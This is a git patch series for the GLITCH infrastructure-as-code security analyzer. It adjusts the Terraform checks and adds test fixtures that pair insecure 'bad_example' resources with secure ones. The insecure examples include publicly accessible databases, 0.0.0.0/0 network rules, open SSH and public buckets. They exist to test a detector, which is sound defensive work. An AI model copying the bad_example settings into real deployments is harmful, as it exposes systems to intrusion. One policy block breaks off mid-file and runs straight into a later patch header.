.../azure-authorization-wildcard-action.tf | 29 +++ .../azure-container-use-rbac-permissions.tf | 43 +++++ .../azure-database-not-publicly-accessible.tf | 13 ++ .../bucket-public-read-acl.tf | 31 +++ .../cidr-range-public-access-eks-cluster.tf | 26 +++ .../cross-db-ownership-chaining.tf | 178 ++++++++++++++++++ .../data-factory-public-access.tf | 10 + ...ogle-compute-no-default-service-account.tf | 34 ++++ .../google-gke-use-rbac-permissions.tf | 46 +++++ .../google-storage-enable-ubla.tf | 10 + .../google-storage-no-public-access.tf | 29 +++ .../mq-broker-publicly-exposed.tf | 22 +++ .../prevent-client-disable-encryption.tf | 31 +++ .../private-cluster-nodes.tf | 44 +++++ .../public-access-eks-cluster.tf | 28 +++ .../public-access-policy.tf | 65 +++++++ .../public-github-repo.tf | 30 +++ .../s3-access-through-acl.tf | 67 +++++++ .../s3-block-public-acl.tf | 22 +++ .../s3-block-public-policy.tf | 23 +++ .../s3-ignore-public-acl.tf | 23 +++ .../s3-restrict-public-bucket.tf | 22 +++ .../specify-source-lambda-permission.tf | 14 ++ .../storage-containers-public-access.tf | 36 ++++ ...unauthorized-access-api-gateway-methods.tf | 48 +++++ .../security/terraform/files/inv_bind.tf | 26 +-- .../tests/security/terraform/test_security.py | 130 ++++++++++++- 35 files changed, 1271 insertions(+), 62 deletions(-) create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/access-to-bigquery-dataset.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/aks-ip-ranges-enabled.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/associated-access-block-to-s3-bucket.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/aws-database-instance-publicly-accessible.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/aws-sqs-no-wildcards-in-policy.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/azure-authorization-wildcard-action.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/azure-container-use-rbac-permissions.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/azure-database-not-publicly-accessible.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/bucket-public-read-acl.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/cidr-range-public-access-eks-cluster.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/cross-db-ownership-chaining.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/data-factory-public-access.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/google-compute-no-default-service-account.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/google-gke-use-rbac-permissions.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/google-storage-enable-ubla.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/google-storage-no-public-access.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/mq-broker-publicly-exposed.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/prevent-client-disable-encryption.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/private-cluster-nodes.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/public-access-eks-cluster.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/public-access-policy.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/public-github-repo.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/s3-access-through-acl.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/s3-block-public-acl.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/s3-block-public-policy.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/s3-ignore-public-acl.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/s3-restrict-public-bucket.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/specify-source-lambda-permission.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/storage-containers-public-access.tf create mode 100644 glitch/tests/security/terraform/files/insecure-access-control/unauthorized-access-api-gateway-methods.tf diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index 351159ec..040e361e 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -271,20 +271,23 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str, required_f errors.append(Error('sec_missing_encryption', au, file, repr(au), f"Suggestion: check for a required resource 'aws_s3_bucket_server_side_encryption_configuration' " + f"associated to an 'aws_s3_bucket' resource.")) + elif (au.type == "resource.aws_eks_cluster"): + resources = check_required_attribute(au.attributes, ["encryption_config"], "resources[0]") + if resources: + i = 0 + valid = False + while resources: + a = resources + if resources.value.lower() == "secrets": + valid = True + break + i += 1 + resources = check_required_attribute(au.attributes, ["encryption_config"], f"resources[{i}]") + if not valid: + errors.append(Error('sec_missing_encryption', a, file, repr(a))) else: - server_side_encryption = check_required_attribute(r.attributes, ["rule"], "apply_server_side_encryption_by_default") - if server_side_encryption: - sse_algorithm = check_required_attribute(server_side_encryption.keyvalues, [""], "sse_algorithm") - if not sse_algorithm: - errors.append(Error('sec_missing_encryption', au, file, repr(au), - f"Suggestion: check for a required attribute with name " + - f"'rule.apply_server_side_encryption_by_default.sse_algorithm'.")) - elif (sse_algorithm and sse_algorithm.value.lower() not in ["aes256", "aws:kms"]): - errors.append(Error('sec_missing_encryption', sse_algorithm, file, repr(sse_algorithm))) - else: - errors.append(Error('sec_missing_encryption', au, file, repr(au), - f"Suggestion: check for a required attribute with name " + - f"'rule.apply_server_side_encryption_by_default.sse_algorithm'.")) + errors.append(Error('sec_missing_encryption', au, file, repr(au), + f"Suggestion: check for a required attribute with name 'encryption_config.resources'.")) for config in SecurityVisitor.__MISSING_ENCRYPTION: if (config['required'] == "yes" and au.type in config['au_type'] @@ -352,22 +355,6 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str, required_f errors.append(Error('sec_key_management', au, file, repr(au), f"Suggestion: check for a required resource 'aws_s3_bucket_server_side_encryption_configuration' " + f"associated to an 'aws_s3_bucket' resource.")) - else: - server_side_encryption = check_required_attribute(r.attributes, ["rule"], "apply_server_side_encryption_by_default") - if server_side_encryption: - print(f"keyvalues: {server_side_encryption.keyvalues}") - key_id = check_required_attribute(server_side_encryption.keyvalues, [""], "kms_master_key_id") - print(f"key_id: {key_id}") - if not key_id: - errors.append(Error('sec_key_management', au, file, repr(au), - f"Suggestion: check for a required attribute with name " + - f"'rule.apply_server_side_encryption_by_default.kms_master_key_id'.")) - elif (key_id and key_id.value.lower() == ""): - errors.append(Error('sec_key_management', key_id, file, repr(key_id))) - else: - errors.append(Error('sec_key_management', au, file, repr(au), - f"Suggestion: check for a required attribute with name " + - f"'rule.apply_server_side_encryption_by_default.kms_master_key_id'.")) elif (au.type == "resource.azurerm_storage_account"): expr = "\${azurerm_storage_account\." + f"{au.name}" pattern = re.compile(rf"{expr}") @@ -547,7 +534,7 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str, required_f check_database_flags('sec_logging', flag['flag_name'], flag['value'], required_flag) elif (au.type == "resource.azurerm_storage_container"): storage_account_name = check_required_attribute(au.attributes, [""], "storage_account_name") - if storage_account_name.value.lower().startswith("${azurerm_storage_account."): + if storage_account_name and storage_account_name.value.lower().startswith("${azurerm_storage_account."): name = storage_account_name.value.lower().split('.')[1] storage_account_au = get_au(self.code, name, "resource.azurerm_storage_account") if storage_account_au: @@ -580,6 +567,10 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str, required_f errors.append(Error('sec_logging', au, file, repr(au), f"Suggestion: 'azurerm_storage_container' resource has to be associated to an " + f"'azurerm_storage_account' resource in order to enable logging.")) + else: + errors.append(Error('sec_logging', au, file, repr(au), + f"Suggestion: 'azurerm_storage_container' resource has to be associated to an " + + f"'azurerm_storage_account' resource in order to enable logging.")) container_access_type = check_required_attribute(au.attributes, [""], "container_access_type") if container_access_type and container_access_type.value.lower() not in ["blob", "private"]: errors.append(Error('sec_logging', container_access_type, file, repr(container_access_type))) @@ -777,7 +768,6 @@ def get_module_var(c, name: str): aux = attribute elif value.startswith("local."): # local value (variable) aux = get_module_var(self.code, value.strip("local.")) - #FIXME value can also use module blocks, resources/data attributes, not only input_variable/local_value if aux: errors.append(Error('sec_hard_secr', c, file, repr(c))) diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index a4894da8..0e8e263b 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -205,8 +205,6 @@ missing_encryption = [{"au_type": ["resource.aws_api_gateway_method_settings"], {"au_type": ["resource.aws_ecs_task_definition"], "attribute": "transit_encryption", "parents": ["efs_volume_configuration"], "values": ["enabled"], "required": "yes", "msg": "volume.efs_volume_configuration.transit_encryption"}, - {"au_type": ["resource.aws_eks_cluster"], "attribute": "resources[0]", "parents": ["encryption_config"], - "values": ["secrets"], "required": "yes", "msg": "encryption_config.resources"}, {"au_type": ["resource.aws_eks_cluster"], "attribute": "provider", "parents": ["encryption_config"], "values": [""], "required": "yes", "msg": "encryption_config.provider.key_arn"}, {"au_type": ["resource.aws_eks_cluster"], "attribute": "key_arn", "parents": ["provider"], "values": ["any_not_empty"], @@ -236,7 +234,13 @@ missing_encryption = [{"au_type": ["resource.aws_api_gateway_method_settings"], {"au_type": ["resource.aws_elasticache_replication_group"], "attribute": "transit_encryption_enabled", "parents": [""], "values": ["true"], "required": "yes", "msg": "transit_encryption_enabled"}, {"au_type": ["resource.aws_ecr_repository"], "attribute": "encryption_type", "parents": ["encryption_configuration"], - "values": ["kms"], "required": "yes", "msg": "encryption_configuration.encryption_type"}] + "values": ["kms"], "required": "yes", "msg": "encryption_configuration.encryption_type"}, + {"au_type": ["resource.aws_s3_bucket_server_side_encryption_configuration"], + "attribute": "apply_server_side_encryption_by_default", "parents": ["rule"], + "values": [""], "required": "yes", "msg": "rule.apply_server_side_encryption_by_default.sse_algorithm"}, + {"au_type": ["resource.aws_s3_bucket_server_side_encryption_configuration"], + "attribute": "sse_algorithm", "parents": ["apply_server_side_encryption_by_default"], + "values": ["aes256", "aws:kms"], "required": "yes", "msg": "rule.apply_server_side_encryption_by_default.sse_algorithm"}] firewall = [{"au_type": ["resource.aws_cloudfront_distribution"], "attribute": "web_acl_id", "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "web_acl_id"}, @@ -321,7 +325,13 @@ key_management = [{"au_type": ["resource.aws_cloudwatch_log_group", "resource.aw {"au_type": ["resource.google_compute_instance"], "attribute": "block-project-ssh-keys", "parents": ["metadata"], "values": ["true"], "required": "yes", "msg": "metadata.block-project-ssh-keys"}, {"au_type": ["resource.azurerm_key_vault_key"], "attribute": "expiration_date", "parents": [""], - "values": ["any_not_empty"], "required": "yes", "msg": "expiration_date"}] + "values": ["any_not_empty"], "required": "yes", "msg": "expiration_date"}, + {"au_type": ["resource.aws_s3_bucket_server_side_encryption_configuration"], + "attribute": "apply_server_side_encryption_by_default", "parents": ["rule"], + "values": [""], "required": "yes", "msg": "rule.apply_server_side_encryption_by_default.kms_master_key_id"}, + {"au_type": ["resource.aws_s3_bucket_server_side_encryption_configuration"], + "attribute": "kms_master_key_id", "parents": ["apply_server_side_encryption_by_default"], + "values": ["any_not_empty"], "required": "yes", "msg": "rule.apply_server_side_encryption_by_default.kms_master_key_id"}] network_security_rules = [{"au_type": ["resource.azurerm_storage_account_network_rules"], "attribute": "default_action", "parents": [""], "values": ["deny"], "required": "yes", "msg": "default_action"}, @@ -425,10 +435,8 @@ possible_attached_resources_aws_route53 = ["aws_instance", "aws_eip", "aws_elb", "aws_globalaccelerator_accelerator", "aws_cloudfront_distribution", "aws_db_instance", "aws_apigatewayv2_domain_name", "aws_lightsail_instance"] -versioning = [{"au_type": ["resource.aws_s3_bucket"], "attribute": "enabled", "parents": ["versioning"], - "values": ["true"], "required": "yes", "msg": "versioning.enabled"}, - {"au_type": ["resource.digitalocean_spaces_bucket"], "attribute": "enabled", "parents": ["versioning"], - "values": ["true"], "required": "yes", "msg": "versioning.enabled"}] +versioning = [{"au_type": ["resource.aws_s3_bucket", "resource.digitalocean_spaces_bucket"], "attribute": "enabled", + "parents": ["versioning"], "values": ["true"], "required": "yes", "msg": "versioning.enabled"}] naming = [{"au_type": ["resource.aws_security_group", "resource.aws_security_group_rule", "resource.aws_elasticache_security_group", "resource.openstack_networking_secgroup_v2", diff --git a/glitch/parsers/cmof.py b/glitch/parsers/cmof.py index 39e4318c..e52b2424 100644 --- a/glitch/parsers/cmof.py +++ b/glitch/parsers/cmof.py @@ -1559,7 +1559,7 @@ def parse_file(self, path: str, type: UnitBlockType) -> UnitBlock: f.seek(0, 0) code = f.readlines() - print(f"\nparsed_hcl: {parsed_hcl}\n") + #print(f"\nparsed_hcl: {parsed_hcl}\n") unit_block = UnitBlock(path, type) unit_block.path = path for key, value in parsed_hcl.items(): @@ -1575,7 +1575,7 @@ def parse_file(self, path: str, type: UnitBlockType) -> UnitBlock: continue else: throw_exception(EXCEPTIONS["TERRAFORM_COULD_NOT_PARSE"], path) - print(unit_block.print(0)) + #print(unit_block.print(0)) return unit_block except: throw_exception(EXCEPTIONS["TERRAFORM_COULD_NOT_PARSE"], path) @@ -1606,5 +1606,5 @@ def parse_folder(self, path: str) -> Project: res.blocks += aux.blocks res.modules += aux.modules - print(res.print(0)) + #print(res.print(0)) return res \ No newline at end of file diff --git a/glitch/tests/security/terraform/files/insecure-access-control/access-to-bigquery-dataset.tf b/glitch/tests/security/terraform/files/insecure-access-control/access-to-bigquery-dataset.tf new file mode 100644 index 00000000..3525e9d5 --- /dev/null +++ b/glitch/tests/security/terraform/files/insecure-access-control/access-to-bigquery-dataset.tf @@ -0,0 +1,19 @@ +resource "google_bigquery_dataset" "bad_example" { + access { + special_group = "allAuthenticatedUsers" + } + + access { + domain = "hashicorp.com" + } +} + +resource "google_bigquery_dataset" "bad_example" { + access { + special_group = "projectReaders" + } + + access { + domain = "hashicorp.com" + } +} diff --git a/glitch/tests/security/terraform/files/insecure-access-control/aks-ip-ranges-enabled.tf b/glitch/tests/security/terraform/files/insecure-access-control/aks-ip-ranges-enabled.tf new file mode 100644 index 00000000..6813308b --- /dev/null +++ b/glitch/tests/security/terraform/files/insecure-access-control/aks-ip-ranges-enabled.tf @@ -0,0 +1,24 @@ +resource "azurerm_kubernetes_cluster" "bad_example" { + addon_profile { + oms_agent { + log_analytics_workspace_id = "something" + } + } + network_profile { + network_policy = "azure" + } +} + +resource "azurerm_kubernetes_cluster" "good_example" { + addon_profile { + oms_agent { + log_analytics_workspace_id = "something" + } + } + network_profile { + network_policy = "azure" + } + api_server_access_profile { + authorized_ip_ranges = ["198.51.100.0/24"] + } +} diff --git a/glitch/tests/security/terraform/files/insecure-access-control/associated-access-block-to-s3-bucket.tf b/glitch/tests/security/terraform/files/insecure-access-control/associated-access-block-to-s3-bucket.tf new file mode 100644 index 00000000..cff78985 --- /dev/null +++ b/glitch/tests/security/terraform/files/insecure-access-control/associated-access-block-to-s3-bucket.tf @@ -0,0 +1,58 @@ +resource "aws_s3_bucket" "bad_example" { + logging { + } + versioning { + enabled = true + } +} + +resource "aws_s3_bucket_server_side_encryption_configuration" "bad_example" { + bucket = aws_s3_bucket.bad_example.id + rule { + apply_server_side_encryption_by_default { + kms_master_key_id = "something" + sse_algorithm = "aes256" + } + } +} + +resource "aws_s3_bucket_replication_configuration" "bad_example" { + bucket = aws_s3_bucket.bad_example.id + rule { + status = "Enabled" + } +} + + +resource "aws_s3_bucket" "good_example" { + logging { + } + versioning { + enabled = true + } +} + +resource "aws_s3_bucket_server_side_encryption_configuration" "good_example" { + bucket = aws_s3_bucket.good_example.id + rule { + apply_server_side_encryption_by_default { + kms_master_key_id = "something" + sse_algorithm = "aes256" + } + } +} + +resource "aws_s3_bucket_replication_configuration" "bad_example" { + bucket = aws_s3_bucket.good_example.id + rule { + status = "Enabled" + } +} + +resource "aws_s3_bucket_public_access_block" "good_example" { + bucket = aws_s3_bucket.good_example.id + block_public_acls = true + ignore_public_acls = true + block_public_policy = true + restrict_public_buckets = true +} diff --git a/glitch/tests/security/terraform/files/insecure-access-control/aws-database-instance-publicly-accessible.tf b/glitch/tests/security/terraform/files/insecure-access-control/aws-database-instance-publicly-accessible.tf new file mode 100644 index 00000000..cc4b9818 --- /dev/null +++ b/glitch/tests/security/terraform/files/insecure-access-control/aws-database-instance-publicly-accessible.tf @@ -0,0 +1,39 @@ +resource "aws_db_instance" "bad_example" { + publicly_accessible = true + kms_key_id = "something" + performance_insights_kms_key_id = "something" + storage_encrypted = true +} + +resource "aws_db_instance" "good_example" { + publicly_accessible = false + kms_key_id = "something" + performance_insights_kms_key_id = "something" + storage_encrypted = true +} + +resource "aws_rds_cluster_instance" "bad_example" { + publicly_accessible = true + performance_insights_kms_key_id = "something" + performance_insights_enabled = true + storage_encrypted = true +} + +resource "aws_rds_cluster_instance" "good_example" { + publicly_accessible = false + performance_insights_kms_key_id = "something" + performance_insights_enabled = true + storage_encrypted = true +} + +resource "aws_db_instance" "bad_example2" { + kms_key_id = "something" + performance_insights_kms_key_id = "something" + storage_encrypted = true +} + +resource "aws_rds_cluster_instance" "good_example2" { + performance_insights_kms_key_id = "something" + storage_encrypted = true + performance_insights_enabled = true +} diff --git a/glitch/tests/security/terraform/files/insecure-access-control/aws-sqs-no-wildcards-in-policy.tf b/glitch/tests/security/terraform/files/insecure-access-control/aws-sqs-no-wildcards-in-policy.tf new file mode 100644 index 00000000..4c364bd7 --- /dev/null +++ b/glitch/tests/security/terraform/files/insecure-access-control/aws-sqs-no-wildcards-in-policy.tf @@ -0,0 +1,31 @@ +resource "aws_sqs_queue_policy" "bad_example" { + queue_url = aws_sqs_queue.q.id + + policy = < Date: Thu, 30 Mar 2023 16:34:29 +0100 Subject: [PATCH 18/58] Tests for Terraform: Invalid IP Binding code smell --- .../aws-ec2-vpc-no-public-egress-sgr.tf | 27 ++++ .../aws-ec2-vpc-no-public-ingress-acl.tf | 17 +++ .../aws-ec2-vpc-no-public-ingress-sgr.tf | 27 ++++ .../azure-network-no-public-egress.tf | 11 ++ .../azure-network-no-public-ingress.tf | 11 ++ .../cloud-sql-database-publicly-exposed.tf | 106 ++++++++++++++++ ...compute-firewall-inbound-rule-public-ip.tf | 23 ++++ ...ompute-firewall-outbound-rule-public-ip.tf | 23 ++++ .../eks-cluster-open-cidr-range.tf | 27 ++++ .../gke-control-plane-publicly-accessible.tf | 31 +++++ .../openstack-networking-no-public-egress.tf | 19 +++ .../openstack-networking-no-public-ingress.tf | 19 +++ .../public-egress-network-policy.tf | 120 ++++++++++++++++++ .../public-ingress-network-policy.tf | 119 +++++++++++++++++ .../tests/security/terraform/test_security.py | 58 +++++++++ 15 files changed, 638 insertions(+) create mode 100644 glitch/tests/security/terraform/files/invalid-ip-binding/aws-ec2-vpc-no-public-egress-sgr.tf create mode 100644 glitch/tests/security/terraform/files/invalid-ip-binding/aws-ec2-vpc-no-public-ingress-acl.tf create mode 100644 glitch/tests/security/terraform/files/invalid-ip-binding/aws-ec2-vpc-no-public-ingress-sgr.tf create mode 100644 glitch/tests/security/terraform/files/invalid-ip-binding/azure-network-no-public-egress.tf create mode 100644 glitch/tests/security/terraform/files/invalid-ip-binding/azure-network-no-public-ingress.tf create mode 100644 glitch/tests/security/terraform/files/invalid-ip-binding/cloud-sql-database-publicly-exposed.tf create mode 100644 glitch/tests/security/terraform/files/invalid-ip-binding/compute-firewall-inbound-rule-public-ip.tf create mode 100644 glitch/tests/security/terraform/files/invalid-ip-binding/compute-firewall-outbound-rule-public-ip.tf create mode 100644 glitch/tests/security/terraform/files/invalid-ip-binding/eks-cluster-open-cidr-range.tf create mode 100644 glitch/tests/security/terraform/files/invalid-ip-binding/gke-control-plane-publicly-accessible.tf create mode 100644 glitch/tests/security/terraform/files/invalid-ip-binding/openstack-networking-no-public-egress.tf create mode 100644 glitch/tests/security/terraform/files/invalid-ip-binding/openstack-networking-no-public-ingress.tf create mode 100644 glitch/tests/security/terraform/files/invalid-ip-binding/public-egress-network-policy.tf create mode 100644 glitch/tests/security/terraform/files/invalid-ip-binding/public-ingress-network-policy.tf diff --git a/glitch/tests/security/terraform/files/invalid-ip-binding/aws-ec2-vpc-no-public-egress-sgr.tf b/glitch/tests/security/terraform/files/invalid-ip-binding/aws-ec2-vpc-no-public-egress-sgr.tf new file mode 100644 index 00000000..44eb6c97 --- /dev/null +++ b/glitch/tests/security/terraform/files/invalid-ip-binding/aws-ec2-vpc-no-public-egress-sgr.tf @@ -0,0 +1,27 @@ +resource "aws_security_group" "bad_example" { + description = "something" + egress { + description = "something" + cidr_blocks = ["0.0.0.0/0"] + } +} + +resource "aws_security_group" "good_example" { + description = "something" + egress { + description = "something" + cidr_blocks = ["1.2.3.4/32"] + } +} + +resource "aws_security_group_rule" "bad_example" { + description = "something" + type = "egress" + cidr_blocks = ["0.0.0.0/0"] +} + +resource "aws_security_group_rule" "good_example" { + description = "something" + type = "egress" + cidr_blocks = ["10.0.0.0/16"] +} \ No newline at end of file diff --git a/glitch/tests/security/terraform/files/invalid-ip-binding/aws-ec2-vpc-no-public-ingress-acl.tf b/glitch/tests/security/terraform/files/invalid-ip-binding/aws-ec2-vpc-no-public-ingress-acl.tf new file mode 100644 index 00000000..c7bcac1b --- /dev/null +++ b/glitch/tests/security/terraform/files/invalid-ip-binding/aws-ec2-vpc-no-public-ingress-acl.tf @@ -0,0 +1,17 @@ +resource "aws_network_acl_rule" "bad_example" { + egress = false + protocol = "tcp" + from_port = 22 + to_port = 22 + rule_action = "allow" + cidr_block = "0.0.0.0/0" +} + +resource "aws_network_acl_rule" "good_example" { + egress = false + protocol = "tcp" + from_port = 22 + to_port = 22 + rule_action = "allow" + cidr_block = "10.0.0.0/16" +} diff --git a/glitch/tests/security/terraform/files/invalid-ip-binding/aws-ec2-vpc-no-public-ingress-sgr.tf b/glitch/tests/security/terraform/files/invalid-ip-binding/aws-ec2-vpc-no-public-ingress-sgr.tf new file mode 100644 index 00000000..a00635bd --- /dev/null +++ b/glitch/tests/security/terraform/files/invalid-ip-binding/aws-ec2-vpc-no-public-ingress-sgr.tf @@ -0,0 +1,27 @@ +resource "aws_security_group_rule" "bad_example" { + description = "something" + type = "ingress" + cidr_blocks = ["0.0.0.0/0"] +} + +resource "aws_security_group_rule" "good_example" { + description = "something" + type = "ingress" + cidr_blocks = ["10.0.0.0/16"] +} + +resource "aws_security_group" "bad_example" { + description = "something" + ingress { + description = "something" + cidr_blocks = ["0.0.0.0/0"] + } +} + +resource "aws_security_group" "good_example" { + description = "something" + ingress { + description = "something" + cidr_blocks = ["1.2.3.4/32"] + } +} diff --git a/glitch/tests/security/terraform/files/invalid-ip-binding/azure-network-no-public-egress.tf b/glitch/tests/security/terraform/files/invalid-ip-binding/azure-network-no-public-egress.tf new file mode 100644 index 00000000..b86c2c21 --- /dev/null +++ b/glitch/tests/security/terraform/files/invalid-ip-binding/azure-network-no-public-egress.tf @@ -0,0 +1,11 @@ +resource "azurerm_network_security_rule" "bad_example" { + direction = "Outbound" + destination_address_prefix = "0.0.0.0/0" + access = "Allow" +} + +resource "azurerm_network_security_rule" "good_example" { + direction = "Outbound" + destination_address_prefix = "10.0.0.0/16" + access = "Allow" +} diff --git a/glitch/tests/security/terraform/files/invalid-ip-binding/azure-network-no-public-ingress.tf b/glitch/tests/security/terraform/files/invalid-ip-binding/azure-network-no-public-ingress.tf new file mode 100644 index 00000000..1c2d4492 --- /dev/null +++ b/glitch/tests/security/terraform/files/invalid-ip-binding/azure-network-no-public-ingress.tf @@ -0,0 +1,11 @@ +resource "azurerm_network_security_rule" "bad_example" { + direction = "Inbound" + destination_address_prefix = "0.0.0.0/0" + access = "Allow" +} + +resource "azurerm_network_security_rule" "good_example" { + direction = "Inbound" + destination_address_prefix = "10.0.0.0/16" + access = "Allow" +} diff --git a/glitch/tests/security/terraform/files/invalid-ip-binding/cloud-sql-database-publicly-exposed.tf b/glitch/tests/security/terraform/files/invalid-ip-binding/cloud-sql-database-publicly-exposed.tf new file mode 100644 index 00000000..d00df1fe --- /dev/null +++ b/glitch/tests/security/terraform/files/invalid-ip-binding/cloud-sql-database-publicly-exposed.tf @@ -0,0 +1,106 @@ +resource "google_sql_database_instance" "bad_example" { + ip_configuration { + require_ssl = true + } + settings { + ip_configuration { + ipv4_enabled = false + authorized_networks { + value = "108.12.12.0/24" + name = "internal" + } + + authorized_networks { + value = "0.0.0.0/0" + name = "internet" + } + } + database_flags { + name = "cross db ownership chaining" + value = "off" + } + database_flags { + name = "contained database authentication" + value = "off" + } + database_flags { + name = "log_checkpoints" + value = "on" + } + database_flags { + name = "log_connections" + value = "on" + } + database_flags { + name = "log_disconnections" + value = "on" + } + database_flags { + name = "log_lock_waits" + value = "on" + } + database_flags { + name = "log_temp_files" + value = "0" + } + database_flags { + name = "log_min_messages" + value = "WARNING" + } + database_flags { + name = "log_min_duration_statement" + value = "-1" + } + } +} + +resource "google_sql_database_instance" "good_example" { + ip_configuration { + require_ssl = true + } + settings { + ip_configuration { + ipv4_enabled = false + authorized_networks { + value = "10.0.0.1/24" + name = "internal" + } + } + database_flags { + name = "cross db ownership chaining" + value = "off" + } + database_flags { + name = "contained database authentication" + value = "off" + } + database_flags { + name = "log_checkpoints" + value = "on" + } + database_flags { + name = "log_connections" + value = "on" + } + database_flags { + name = "log_disconnections" + value = "on" + } + database_flags { + name = "log_lock_waits" + value = "on" + } + database_flags { + name = "log_temp_files" + value = "0" + } + database_flags { + name = "log_min_messages" + value = "WARNING" + } + database_flags { + name = "log_min_duration_statement" + value = "-1" + } + } +} diff --git a/glitch/tests/security/terraform/files/invalid-ip-binding/compute-firewall-inbound-rule-public-ip.tf b/glitch/tests/security/terraform/files/invalid-ip-binding/compute-firewall-inbound-rule-public-ip.tf new file mode 100644 index 00000000..8b34c6ca --- /dev/null +++ b/glitch/tests/security/terraform/files/invalid-ip-binding/compute-firewall-inbound-rule-public-ip.tf @@ -0,0 +1,23 @@ +resource "digitalocean_firewall" "bad_example" { + name = "only-22-80-and-443" + + droplet_ids = [digitalocean_droplet.web.id] + + inbound_rule { + protocol = "tcp" + port_range = "22" + source_addresses = ["0.0.0.0/0", "::/0"] + } +} + +resource "digitalocean_firewall" "good_example" { + name = "only-22-80-and-443" + + droplet_ids = [digitalocean_droplet.web.id] + + inbound_rule { + protocol = "tcp" + port_range = "22" + source_addresses = ["192.168.1.0/24", "fc00::/7"] + } +} diff --git a/glitch/tests/security/terraform/files/invalid-ip-binding/compute-firewall-outbound-rule-public-ip.tf b/glitch/tests/security/terraform/files/invalid-ip-binding/compute-firewall-outbound-rule-public-ip.tf new file mode 100644 index 00000000..7e0016f4 --- /dev/null +++ b/glitch/tests/security/terraform/files/invalid-ip-binding/compute-firewall-outbound-rule-public-ip.tf @@ -0,0 +1,23 @@ +resource "digitalocean_firewall" "bad_example2" { + name = "only-22-80-and-443" + + droplet_ids = [digitalocean_droplet.web.id] + + outbound_rule { + protocol = "tcp" + port_range = "22" + destination_addresses = ["0.0.0.0/0", "::/0"] + } +} + +resource "digitalocean_firewall" "good_example" { + name = "only-22-80-and-443" + + droplet_ids = [digitalocean_droplet.web.id] + + outbound_rule { + protocol = "tcp" + port_range = "22" + destination_addresses = ["192.168.1.0/24", "fc00::/7"] + } +} diff --git a/glitch/tests/security/terraform/files/invalid-ip-binding/eks-cluster-open-cidr-range.tf b/glitch/tests/security/terraform/files/invalid-ip-binding/eks-cluster-open-cidr-range.tf new file mode 100644 index 00000000..544eb13e --- /dev/null +++ b/glitch/tests/security/terraform/files/invalid-ip-binding/eks-cluster-open-cidr-range.tf @@ -0,0 +1,27 @@ +resource "aws_eks_cluster" "bad_example2" { + enabled_cluster_log_types = ["api", "authenticator", "audit", "scheduler", "controllermanager"] + encryption_config { + resources = ["secrets"] + provider { + key_arn = "something" + } + } + vpc_config { + endpoint_public_access = false + public_access_cidrs = ["0.0.0.0/8"] + } +} + +resource "aws_eks_cluster" "good_example" { + enabled_cluster_log_types = ["api", "authenticator", "audit", "scheduler", "controllermanager"] + encryption_config { + resources = ["secrets"] + provider { + key_arn = "something" + } + } + vpc_config { + endpoint_public_access = false + public_access_cidrs = ["10.2.0.0/8"] + } +} \ No newline at end of file diff --git a/glitch/tests/security/terraform/files/invalid-ip-binding/gke-control-plane-publicly-accessible.tf b/glitch/tests/security/terraform/files/invalid-ip-binding/gke-control-plane-publicly-accessible.tf new file mode 100644 index 00000000..e98374bc --- /dev/null +++ b/glitch/tests/security/terraform/files/invalid-ip-binding/gke-control-plane-publicly-accessible.tf @@ -0,0 +1,31 @@ +resource "google_container_cluster" "bad_example" { + ip_allocation_policy {} + network_policy { + enabled = true + } + master_authorized_networks_config { + cidr_blocks { + cidr_block = "0.0.0.0/0" + display_name = "external" + } + } + private_cluster_config { + enable_private_nodes = true + } +} + +resource "google_container_cluster" "good_example" { + ip_allocation_policy {} + network_policy { + enabled = true + } + master_authorized_networks_config { + cidr_blocks { + cidr_block = "10.10.128.0/24" + display_name = "internal" + } + } + private_cluster_config { + enable_private_nodes = true + } +} diff --git a/glitch/tests/security/terraform/files/invalid-ip-binding/openstack-networking-no-public-egress.tf b/glitch/tests/security/terraform/files/invalid-ip-binding/openstack-networking-no-public-egress.tf new file mode 100644 index 00000000..703e5ac6 --- /dev/null +++ b/glitch/tests/security/terraform/files/invalid-ip-binding/openstack-networking-no-public-egress.tf @@ -0,0 +1,19 @@ +resource "openstack_networking_secgroup_rule_v2" "bad_example" { + description = "something" + direction = "egress" + ethertype = "IPv4" + protocol = "tcp" + port_range_min = 22 + port_range_max = 22 + remote_ip_prefix = "0.0.0.0/0" +} + +resource "openstack_networking_secgroup_rule_v2" "good_example" { + description = "something" + direction = "egress" + ethertype = "IPv4" + protocol = "tcp" + port_range_min = 22 + port_range_max 